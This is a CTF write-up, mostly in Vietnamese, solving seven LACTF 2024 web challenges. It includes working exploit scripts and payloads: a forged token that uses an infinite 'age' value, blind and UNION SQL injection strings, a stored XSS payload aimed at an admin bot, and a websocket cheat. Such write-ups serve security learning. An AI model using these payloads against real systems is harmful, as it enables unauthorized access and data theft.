LACTF 2024 - web 7/10

16 minute read

web/jason-web-token - 62 solves / 471 points

Description

With all this hype around jwt, I decided to implement jason web tokens to secure my OWN jason fan club site. Too bad its not in haskell. jwt.chall.lac.tf

Link: jwt.chall.lac.tf

Source code here

Solution

Cookie của chúng ta cần phải có role admin để có thể xem được flag

@app.get("/img")
def img(resp: Response, token: str | None = Cookie(default=None)):
    userinfo, err = auth.decode_token(token)
    if err:
        resp.status_code = 400
        return {"err": err}
    if userinfo["role"] == "admin":
        return {"msg": f"Your flag is {flag}", "img": "/static/bplet.png"}
    return {"msg": "Enjoy this jason for your web token", "img": "/static/aplet.png"}

Phân tích auth.py

secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()


class admin:
    username = os.environ.get("ADMIN", "admin-owo")
    age = int(os.environ.get("ADMINAGE", "30"))


def create_token(**userinfo):
    userinfo["timestamp"] = int(time.time())
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
    data = json.dumps(userinfo)
    return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")


def decode_token(token):
    if not token:
        return None, "invalid token: please log in"

    datahex, signature = token.split(".")
    data = bytes.fromhex(datahex).decode()
    userinfo = json.loads(data)
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]

    if hash_(f"{data}:{salted_secret}") != signature:
        return None, "invalid token: signature did not match data"
    return userinfo, None
  • secret gồm 128 ký tự và nó đã được hash_. Ban đầu chúng tôi nghĩ nó là một thử thách crypto web và cố gắng reverse lại salted_secret nhưng điều đó là không thể.

Thử reverse token ta sẽ có được các info sau:

token = "7b22757365726e616d65223a202261646d696e222c2022616765223a2033302c2022726f6c65223a202275736572222c202274696d657374616d70223a20313730383333353933367d.c856970d188471f88f8fed0ed3a5ecf63235f2ac5f519db34141d01d1df66fc7"

print(decode_token(token))

Result:

{'username': 'admin', 'age': 30, 'role': 'user', 'timestamp': 1708335936}

Để ý trong hàm create_toke:

return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")

token được tạo bằng cách encode hex data và hash thêm datasalted_secret lại với nhau.

Ý tưởng của tôi là tìm một giá trị age sao cho khi thực hiện phép XOR salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"] luôn trả về cùng một giá trị salted_secret.

import hashlib
import json
import os
import time

secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()

timestamp = 1708246980

age = 1.502133718745105e+308

salted_secret = (secret ^ timestamp) + age

print(secret)
print(salted_secret)

Result:

└─$ python3 brute.py 
72150779828085254667751326077368032454355155822936624141692124616491552203075921572132985750110322461045146775789003212623470858206512092125376350223613842168735269945647029460362090738405453283852437300659701083210968460115973602812166346131359006008765370127557608590909491350790682423169766921338189196929
inf

Khi giá age thật lớn , phép XOR sẽ luôn trả về cùng một giá trị là inf điều này làm cho salted_secret luôn cố định dẫn tới hash_(f"{data}:{salted_secret}") luôn return về cùng một giá trị. Lúc này ta có thể sửa lại phần data , sửa role thành admin và cập nhật lại phần hash để bypass xác thực.

Tạo token mới.

import hashlib
import json
import os
import time

secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()

def create_token(**userinfo):
    userinfo["timestamp"] = int(time.time())
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
    data = json.dumps(userinfo)
    return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")

def decode_token(token):
    if not token:
        return None, "invalid token: please log in"

    datahex, signature = token.split(".")
    data = bytes.fromhex(datahex).decode()
    userinfo = json.loads(data)
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]

    # if hash_(f"{data}:{salted_secret}") != signature:
    #     return None, "invalid token: signature did not match data"
    return userinfo, None

is_admin = 1

token = create_token(
    username="admin",
    age=10e1000,
    role=("admin" if is_admin else "user")
)

print(token)
print(decode_token(token))

Result:

7b22757365726e616d65223a202261646d696e222c2022616765223a20496e66696e6974792c2022726f6c65223a202261646d696e222c202274696d657374616d70223a20313730383333363732317d.f400d5c6a0e12fa8cd07adf0c9ee83fc59180dccda337beedcdb6ffd4a206f45
({'username': 'admin', 'age': inf, 'role': 'admin', 'timestamp': 1708336721}, None)

Gửi lại token này và nhận flag.

image

flag: lactf{pr3v3nt3d_th3_d0s_bu7_47_wh3_c0st}

Script

import hashlib
import json
import os
import time
import requests

secret = int.from_bytes(os.urandom(128), "big")
hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest()
url = "http://jwt.chall.lac.tf"

def create_token(**userinfo):
    userinfo["timestamp"] = int(time.time())
    salted_secret = (secret ^ userinfo["timestamp"]) + userinfo["age"]
    data = json.dumps(userinfo)
    return data.encode().hex() + "." + hash_(f"{data}:{salted_secret}")

is_admin = 1

token = create_token(
    username="admin",
    age=10e1000,
    role=("admin" if is_admin else "user")
)

response = requests.get(url + '/img', headers={ 'Cookie': f'token={token}', })
print(response.text)

Result:

└─$ python3 exp.py 
{"msg":"Your flag is lactf{pr3v3nt3d_th3_d0s_bu7_47_wh3_c0st}\n","img":"/static/bplet.png"}

web/penguin-login - 182 solves / 392 points

Description

I got tired of people leaking my password from the db so I moved it out of the db.
Link: penguin.chall.lac.tf

Source code here

Solution

Flag nằm trong table penguins

curr.execute("INSERT INTO penguins (name) VALUES ('%s')" % (flag))

Phân tích app.py

@app.post("/submit")
def submit_form():
    try:
        username = request.form["username"]
        conn = get_database_connection()

        assert all(c in allowed_chars for c in username), "no character for u uwu"
        assert all(
            forbidden not in username.lower() for forbidden in forbidden_strs
        ), "no word for u uwu"

        with conn.cursor() as curr:
            curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)
            result = curr.fetchall()

        if len(result):
            return "We found a penguin!!!!!", 200
        return "No penguins sadg", 201

    except Exception as e:
        return f"Error: {str(e)}", 400

    # need to commit to avoid connection going bad in case of error
    finally:
        conn.commit()

Về cơ bản có thể thấy có lỗi sql injection tại curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username).

Ý tưởng của tôi là chèn payload vào username để kiểm tra từng ký của flag. Tuy nhiên, username chỉ được phép chứa các ký tự sau:

allowed_chars = set(string.ascii_letters + string.digits + " 'flag{a_word}'")

tương đương với {'9', '3', 'b', 'R', '4', 'i', 'm', 'P', 't', 'w', 'E', 'k', 'o', 'n', 'x', 'g', 'Z', 'A', 'c', 'u', 's', 'J', 'Q', 'T', 'H', ' ', 'f', 'e', 'M', 'D', 'K', '7', 'N', 'q', 'I', 'O', 'W', 'Y', 'j', '2', '8', 'S', 'a', 'l', 'z', '6', 'h', 'B', 'X', 'L', 'V', 'r', 'd', '1', '0', '5', 'p', 'G', '_', 'y', '{', 'C', 'U', 'v', "'", 'F', '}'}

Tham khảo bài viết sau: https://stackoverflow.com/questions/12452395/difference-between-like-and-in-postgres

Payload sẽ trông như sau: SELECT * FROM penguins WHERE name LIKE 'l%'; nhưng like bị cấm sử dụng forbidden_strs = ["like"] vì vậy ta có thể sử dụng SIMILAR TO

Trong PostgreSQL, điều kiện SIMILAR TO được sử dụng để thực hiện so sánh chuỗi sử dụng các biểu thức chính quy (regular expressions). Cú pháp của SIMILAR TO giống với LIKE, nhưng nó sử dụng cú pháp biểu thức chính quy thay vì các mẫu đơn giản.

image

Tham khảo tại đây: https://www.postgresql.org/docs/current/functions-matching.html#FUNCTIONS-SIMILARTO-REGEXP

Chúng ta có thể thực hiện leak flag bằng cách:

username=' OR name SIMILAR TO 'la___________________________________________

Ta sẽ thay đổi từng ký tự _ bằng từng chữ cái một một cách tuần tự cho tới khi tìm được full flag. Nếu ký tự tiếp theo nhập đúng, server sẽ trả về We found a penguin!!!!!. Ngược lại, No penguins sadg.

Hãy nhìn và so sánh 2 bức ảnh này.

image

image

Script

import requests

url = "http://penguin.chall.lac.tf/submit"

base_username = "' OR name SIMILAR TO 'la___________________________________________"
flag = ""

for i in range(len(base_username)):
    if base_username[i] == '_':
        for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-=+[]{}_|;:'\",.<>/?`~ ":
            username = base_username[:i] + char + base_username[i+1:]
            headers = {
                'Host': 'penguin.chall.lac.tf',
                'Upgrade-Insecure-Requests': '1',
                'Origin': 'http://penguin.chall.lac.tf',
                'Content-Type': 'application/x-www-form-urlencoded',
                'Referer': 'http://penguin.chall.lac.tf/',
                'Accept-Encoding': 'gzip, deflate, br',
                'Accept-Language': 'en-US,en;q=0.9',
                'Connection': 'close',
            }
            payload = f"username={username}"
            response = requests.post(url, headers=headers, data=payload)
            
            if "We found a penguin!!!!!" in response.text:
                flag += char
                print(f"Found character: {char}, Flag: {flag}")
                break

print(f"Final flag: {flag}")

Result:

Found character: _, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_
Found character: d, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_d
Found character: b, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_db
Found character: s, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs
Found character: _, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_
Found character: 0, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0
Found character: w, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w
Found character: 0, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0
Found character: _, Flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0_
Final flag: ctf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0_

flag: lactf{90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}

web/pogn - 188 solves/ 333 points

Description

Pogn in mong.

Link: pogn.chall.lac.tf

Source code here

Solution

Ta có thể ứng dụng web có tương tác với websocket

image

Để ý đoạn code để có được flag trong server.js

const isNumArray = (v) => Array.isArray(v) && v.every(x => typeof x === 'number');

  let prev = Date.now();
  const interval = setInterval(() => {
    try {
      const dt = (Date.now() - prev) / 100;
      prev = Date.now();

      // move server's paddle to be same y as the ball
      me[1] = ball[1];

      // give ball some movement if it stagnates
      if (Math.abs(ballV[0]) < 0.5) {
        ballV[0] = Math.random() * 2;
      }

      // collision with user's paddle
      if (norm(sub(op, ball)) < collisionDist) {
        ballV = add(opV, mul(normalize(sub(ball, op)), 1 / norm(ballV)));
      }

      // collision with server's paddle
      if (norm(sub(me, ball)) < collisionDist) {
        ballV = add([-3, 0], mul(normalize(sub(ball, me)), 1 / norm(ballV)));
      }

      // update ball position
      ball[0] += ballV[0] * dt;
      ball[1] += ballV[1] * dt;

      // wall bouncing
      if (ball[1] < -yMax || ball[1] > yMax) {
        ball[1] = clamp(ball[1], -yMax, yMax);
        ballV[1] *= -1;
      }

      // check if there has been a winner
      // server wins
      if (ball[0] < 0) {
        ws.send(JSON.stringify([
          Msg.GAME_END,
          'oh no you have lost, have you considered getting better'
        ]));
        clearInterval(interval);

      // game still happening
      } else if (ball[0] < 100) {
        ws.send(JSON.stringify([
          Msg.GAME_UPDATE,
          [ball, me]
        ]));

      // user wins
      } else {
        ws.send(JSON.stringify([
          Msg.GAME_END,
          'omg u won, i guess you considered getting better ' +
          'here is a flag: ' + flag,
          [ball, me]
        ]));
        clearInterval(interval);
      }
    } catch (e) {}
  }, 50); // roughly 20fps

Script

from websocket import create_connection

def main():
    ws = create_connection("ws://pogn.chall.lac.tf/ws")
    cond = True

    for _ in range(100):
        ws.send(b'[1,[[0,0],[0,0]]]')
        received_data = ws.recv()
        print(received_data)
        
        if int(received_data[1]) == 2:
            cond = False
            break

if __name__ == "__main__":
    main()

flag: lactf{7_supp0s3_y0u_g0t_b3773r_NaNaNaN}

web/new-housing-portal - 214 solves/ 368 points

Description


After that old portal, we decided to make a new one that is ultra secure and not based off any real housing sites. Can you make Samy tell you his deepest darkest secret?

Hint - You can send a link that the admin bot will visit as samy.
Hint - Come watch the real Samy's talk if you are stuck!

Link-Site:  new-housing-portal.chall.lac.tf
Link-Admin-Bot: https://admin-bot.lac.tf/new-housing-portal

Source code here

Solution

Giao diện: image

Trong server.js ta có thể thấy được flag nằm trong deepestDarkestSecret của username samy

users.set('samy', {
  username: 'samy',
  name: 'Samy Kamkar',
  deepestDarkestSecret: process.env.FLAG || 'lactf{test_flag}',
  password: process.env.ADMINPW || 'owo',
  invitations: [],
  registration: Infinity
});

Vì vậy, mục tiêu là làm sao cho samy gửi lời invit với ta. lúc đó flag sẽ nằm trong lời mời.

Lỗ hổng XSS nằm ở chức năng /finder:

  • Khi truy cập /finder?q=abc81, hệ thống sẽ trả về kết quả chứa thông tin {username, name} và đặt nó vào thẻ span.name bằng cách sử dụng innerHTML.
    const params = new URLSearchParams(location.search);
    const query = params.get('q');
    if (query) {
    (async () => {
      const user = await fetch('/user?q=' + encodeURIComponent(query))
        .then(r => r.json());
      if ('err' in user) {
        $('.err').innerHTML = user.err;
        $('.err').classList.remove('hidden');
        return;
      }
      $('.user input[name=username]').value = user.username;
      $('span.name').innerHTML = user.name;
      $('span.username').innerHTML = user.username;
      $('.user').classList.remove('hidden');
    })();
    }
    

Do đó, có khả năng chèn payload vào trường name khi đăng ký người dùng và gửi liên kết /finder chứa payload đến admin

payload:

username=abc81&password=abc81&name=<img src=x onerror="fetch('/finder', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'username=abc81'})">&deepestDarkestSecret=abc81

Gửi link sau cho bot: https://new-housing-portal.chall.lac.tf/finder/?q=abc81

image

flag: lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}

web la housing portal - 344 solves/ 265 points

Description

Portal Tips Double Dashes ("--") Please do not use double dashes in any text boxes you complete or emails you send through the portal. The portal will generate an error when it encounters an attempt to insert double dashes into the database that stores information from the portal.
Also, apologies for the very basic styling. Our unpaid LA Housing(tm) RA who we voluntold to do the website that we gave FREE HOUSING for decided to quit - we've charged them a fee for leaving, but we are stuck with this website. Sorry about that.

Please note, we do not condone any actual attacking of websites without permission, even if they explicitly state on their website that their systems are vulnerable.

Link: la-housing.chall.lac.tf

Source code here

Solution

Source code: image

Giao diện

image

Phân tích app.py:

import sqlite3
from flask import Flask, render_template, request

app = Flask(__name__)

@app.route("/")
def home():
    return render_template("index.html")

@app.route("/submit", methods=["POST"])
def search_roommates():
    data = request.form.copy()

    if len(data) > 6:
        return "Invalid form data", 422
    
    
    for k, v in list(data.items()):
        if v == 'na':
            data.pop(k)
        if (len(k) > 10 or len(v) > 50) and k != "name":
            return "Invalid form data", 422
        if "--" in k or "--" in v or "/*" in k or "/*" in v:
            return render_template("hacker.html")
        
    name = data.pop("name")

    
    roommates = get_matching_roommates(data)
    return render_template("results.html", users = roommates, name=name)
    

def get_matching_roommates(prefs: dict[str, str]):
    if len(prefs) == 0:
        return []
    query = """
    select * from users where {} LIMIT 25;
    """.format(
        " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
    )
    print(query)
    conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True)
    cursor = conn.cursor()
    cursor.execute(query)
    r = cursor.fetchall()
    cursor.close()
    return r
  • Tuyến /submit lấy dữ liệu nhập từ POST của người dùng và thực hiện một số hàm xác thực, họi get_matching_roommate và hiển thị templaet results.html
  • Hàm search_roommates: lấy dữ liệu nhập từ reuqets. Xác thực độ dài dữ liệu và kiểm tra khả năng chèn SQL injection sử dụng --/*. Gọi hàm get_matching_roommates sau khi đã filter dữ liệu để query vào database.
  • Hàm get_matching_roommates kết nối tới database và chèn các dữ liệu từ người dùng vào WHERE để truy vấn

Có thể thấy ngăn ứng dụng dính SQL injection trong hàm get_matching_roommates. Việc filter có hiệu quả nhưng không cao vì vẫn cho phép sử dụng ký tự '.

Payload: awake=' UNION SELECT 1,2,3,4,5,flag FROM flag WHERE ''='

Hoặc làm theo hướng boolean-based , kết hợp thêm điều kiện AND nữa để kiểm tra từng ký tự của flag. awake=8-10am\'AND substr((select flag from flag),1,1)=\'l

Script

import requests
import threading

url = 'https://la-housing.chall.lac.tf/submit'

headers = {
    'Host': 'la-housing.chall.lac.tf',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'https://la-housing.chall.lac.tf',
    'Referer': 'https://la-housing.chall.lac.tf/',
}

payload_template = 'name=abc&guests=No+guests+at+all&neatness=Straighten+up+before+bed&sleep=midnight-2am&awake=8-10am\'AND substr((select flag from flag),{},1)=\'{}'

characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=[]{}|;:,.<>?/'

flag = ""
lock = threading.Lock()

def make_request(i, char):
    global flag
    payload = payload_template.format(i, char)
    response = requests.post(url, headers=headers, data=payload)
    
    if "Finley Orozco" in response.text:
        with lock:
            print(flag)
            flag += char

num_threads = 10

threads = []

for i in range(1, 101):
    for char in characters:
        thread = threading.Thread(target=make_request, args=(i, char))
        threads.append(thread)

        if len(threads) == num_threads:
            for thread in threads:
                thread.start()

            for thread in threads:
                thread.join()

            threads = []

print(flag)

flag: lactf{us3_s4n1t1z3d_1npu7!!!}

web/flaglang - 607 solves/ 133 points

Description

Do you speak the language of the flags?
Link: flaglang.chall.lac.tf

Source code here

Solution

Giao diện:

image

Phân tích app.js. Đây là một ứng dụng web sử dụng Express để hiển thị thông tin từ một file YAML.

const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const express = require('express');
const cookieParser = require('cookie-parser');
const yaml = require('yaml');

const yamlPath = path.join(__dirname, 'countries.yaml');
const countryData = yaml.parse(fs.readFileSync(yamlPath).toString());
const countries = new Set(Object.keys(countryData));
const countryList = JSON.stringify(btoa(JSON.stringify(Object.keys(countryData))));

const isoLookup = Object.fromEntries([...countries].map(name => [
  countryData[name].iso,
  {...countryData[name], name }
]));


const app = express();

const secret = crypto.randomBytes(32).toString('hex');
app.use(cookieParser(secret));

app.use('/assets', express.static(path.join(__dirname, 'assets')));

app.get('/switch', (req, res) => {
  if (!req.query.to) {
    res.status(400).send('please give something to switch to');
    return;
  }
  if (!countries.has(req.query.to)) {
    res.status(400).send('please give a valid country');
    return;
  }
  const country = countryData[req.query.to];
  if (country.password) {
    if (req.cookies.password === country.password) {
      res.cookie('iso', country.iso, { signed: true });
    }
    else {
      res.status(400).send(`error: not authenticated for ${req.query.to}`);
      return;
    }
  }
  else {
    res.cookie('iso', country.iso, { signed: true });
  }
  res.status(302).redirect('/');
});

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

app.get('/', (req, res) => {
  const template = fs.readFileSync(path.join(__dirname, 'index.html')).toString();
  const iso = req.signedCookies.iso || 'US';
  const country = isoLookup[iso];
  res
    .status(200)
    .type('html')
    .send(template
      .replaceAll('$msg$', country.msg)
      .replaceAll('$name$', country.name)
      .replaceAll('$iso$', country.iso)
      .replaceAll('$countries$', countryList)
    );
});

app.listen(3000);

Flag nằm ở đầu tiên trong msg của quốc gia tên là Flagistan với isoFL.

Flagistan:
  iso: FL
  msg: "<REDACTED>"
  password: "<REDACTED>"

Ta sẽ cần dùng tới Flagistan để xem được flag bằng /view

image

Tuy nhiên Flagistan có lệnh cấm Flagistan has an embargo on your country đối với tất cả các quốc gia khác thuộc list

["AF","AX","AL","DZ","AS","AD","AO","AI","AQ","AG","AR","AM","AW","AU","AT","AZ","BS","BH","BD","BB","BY","BE","BZ","BJ","BM","BT","BO","BA","BW","BV","BR","IO","BN","BG","BF","BI","KH","CM","CA","CV","KY","CF","TD","CL","CN","CX","CC","CO","KM","CG","CD","CK","CR","CI","HR","CU","CY","CZ","DK","DJ","DM","DO","EC","EG","SV","GQ","ER","EE","ET","FK","FO","FJ","FI","FR","GF","PF","TF","GA","GM","GE","DE","GH","GI","GR","GL","GD","GP","GU","GT","GG","GN","GW","GY","HT","HM","VA","HN","HK","HU","IS","IN","ID","IR","IQ","IE","IM","IL","IT","JM","JP","JE","JO","KZ","KE","KI","KR","KP","KW","KG","LA","LV","LB","LS","LR","LY","LI","LT","LU","MO","MK","MG","MW","MY","MV","ML","MT","MH","MQ","MR","MU","YT","MX","FM","MD","MC","MN","ME","MS","MA","MZ","MM","NA","NR","NP","NL","AN","NC","NZ","NI","NE","NG","NU","NF","MP","NO","OM","PK","PW","PS","PA","PG","PY","PE","PH","PN","PL","PT","PR","QA","RE","RO","RU","RW","BL","SH","KN","LC","MF","PM","VC","WS","SM","ST","SA","SN","RS","SC","SL","SG","SK","SI","SB","SO","ZA","GS","ES","LK","SD","SR","SJ","SZ","SE","CH","SY","TW","TJ","TZ","TH","TL","TG","TK","TO","TT","TN","TR","TM","TC","TV","UG","UA","AE","GB","US","UM","UY","UZ","VU","VE","VN","VG","VI","WF","EH","YE","ZM","ZW"]

Phân tích tuyến /view

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

Giá trị cookie iso được lấy từ request và kiểm tra xem nó có trong danh danh deny của quốc gia đó hay không. Đoạn code chỉ đơn giản lấy giá trị và kiểm tra xem nó có trong deny hay không mà không kiểm tra xem cookie có được cung cấp hay không?

Bỏ phần cookie đi ta sẽ có được flag.

image

flag: lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}

web/terms-and-conditions - 771 solves/ 106 points

Description

Welcome to LA CTF 2024! All you have to do is accept the terms and conditions and you get a flag!
Link: terms-and-conditions.chall.lac.tf

Solution

Giao diện challenge trông như sau: image

Để getFlag ta cần click vào nút I Accept tuy nhiên không thể di chuột được vào nút này.

Mã nguồn chứa flag đã nằm trong file http://terms-and-conditions.chall.lac.tf/analytics.js đã bị obfuscate . Tôi đã thử deofuscate nhưng không mang lại kết quả.

image

Hướng tiếp theo là chỉnh sửa source code để click được vào nút I Accept

Trong mainscript ta sẽ thấy một đoạn code sau:

<script id="mainscript">
            const accept = document.getElementById("accept");
            document.body.addEventListener("touchstart", (e) => {
                document.body.innerHTML = "<div><h1>NO TOUCHING ALLOWED</h1></div>";
            });
            let tx = 0;
            let ty = 0;
            let mx = 0;
            let my = 0;
            window.addEventListener("mousemove", function (e) {
                mx = e.clientX;
                my = e.clientY;
            });
            setInterval(function () {
                const rect = accept.getBoundingClientRect();
                const cx = rect.x + rect.width / 2;
                const cy = rect.y + rect.height / 2;
                const dx = mx - cx;
                const dy = my - cy;
                const d = Math.hypot(dx, dy);
                const mind = Math.max(rect.width, rect.height) + 10;
                const safe = Math.max(rect.width, rect.height) + 25;
                if (d < mind) {
                    const diff = mind - d;
                    if (d == 0) {
                        tx -= diff;
                    } else {
                        tx -= (dx / d) * diff;
                        ty -= (dy / d) * diff;
                    }
                } else if (d > safe) {
                    const v = 2;
                    const offset = Math.hypot(tx, ty);
                    const factor = Math.min(v / offset, 1);
                    if (offset > 0) {
                        tx -= tx * factor;
                        ty -= ty * factor;
                    }
                }
                accept.style.transform = `translate(${tx}px, ${ty}px)`;
            }, 1);
            let width = window.innerWidth;
            let height = window.innerHeight;
            setInterval(function() {
                if (window.innerHeight !== height || window.innerWidth !== width) {
                    document.body.innerHTML = "<div><h1>NO CONSOLE ALLOWED</h1></div>";
                    height = window.innerHeight;
                    width = window.innerWidth;
                }
            }, 10);

Đoạn code này là một đoạn JS, thực hiện lắng nghe sự kiện từ người dùng:

  • window.addEventListener("mousemove", function (e) {...}); : Đoạn này thêm một sự kiện mousemove lên browser. Khi con trỏ chuột được di chuyển lên trang, một callback function sẽ được gọi để lưu lại tọa độ của chuột.
  • Sử dụng setInterval để liên tục kiểm tra và điều chỉnh vị trí của phần tử accept dựa trên tọa độ của chuột
    setInterval(function () {
      ... 
    }, 1);
    
  • Tính toán vị trí của accept dựa trên tọa độ của chuột
    accept.style.transform = `translate(${tx}px, ${ty}px)`;
    
  • Thêm sự kiện để kiểm tra và ngăn việc mở console
    let width = window.innerWidth;
    let height = window.innerHeight;
    setInterval(function() {
      // ...
    }, 10);
    

Có thể thấy sự kiện kiểm tra và ngăn chặn mở console chỉ so sánh widthheight có thay đổi hay không? vì vậy để vẫn sử dụng được console , chỉ cần mở sẵn một tab khác như Network rồi load lại trang để reset widthheight rồi chuyển hướng sang trang console. Lúc này widthheight sẽ không thay đổi.

Thay đổi toại độ chuột thành (0,0):

  window.addEventListener("mousemove", function (e) {
      mx = 0;
      my = 0;
  });

Click vào nút và lấy flag: lactf{that_button_was_definitely_not_one_of_the_terms}

Comments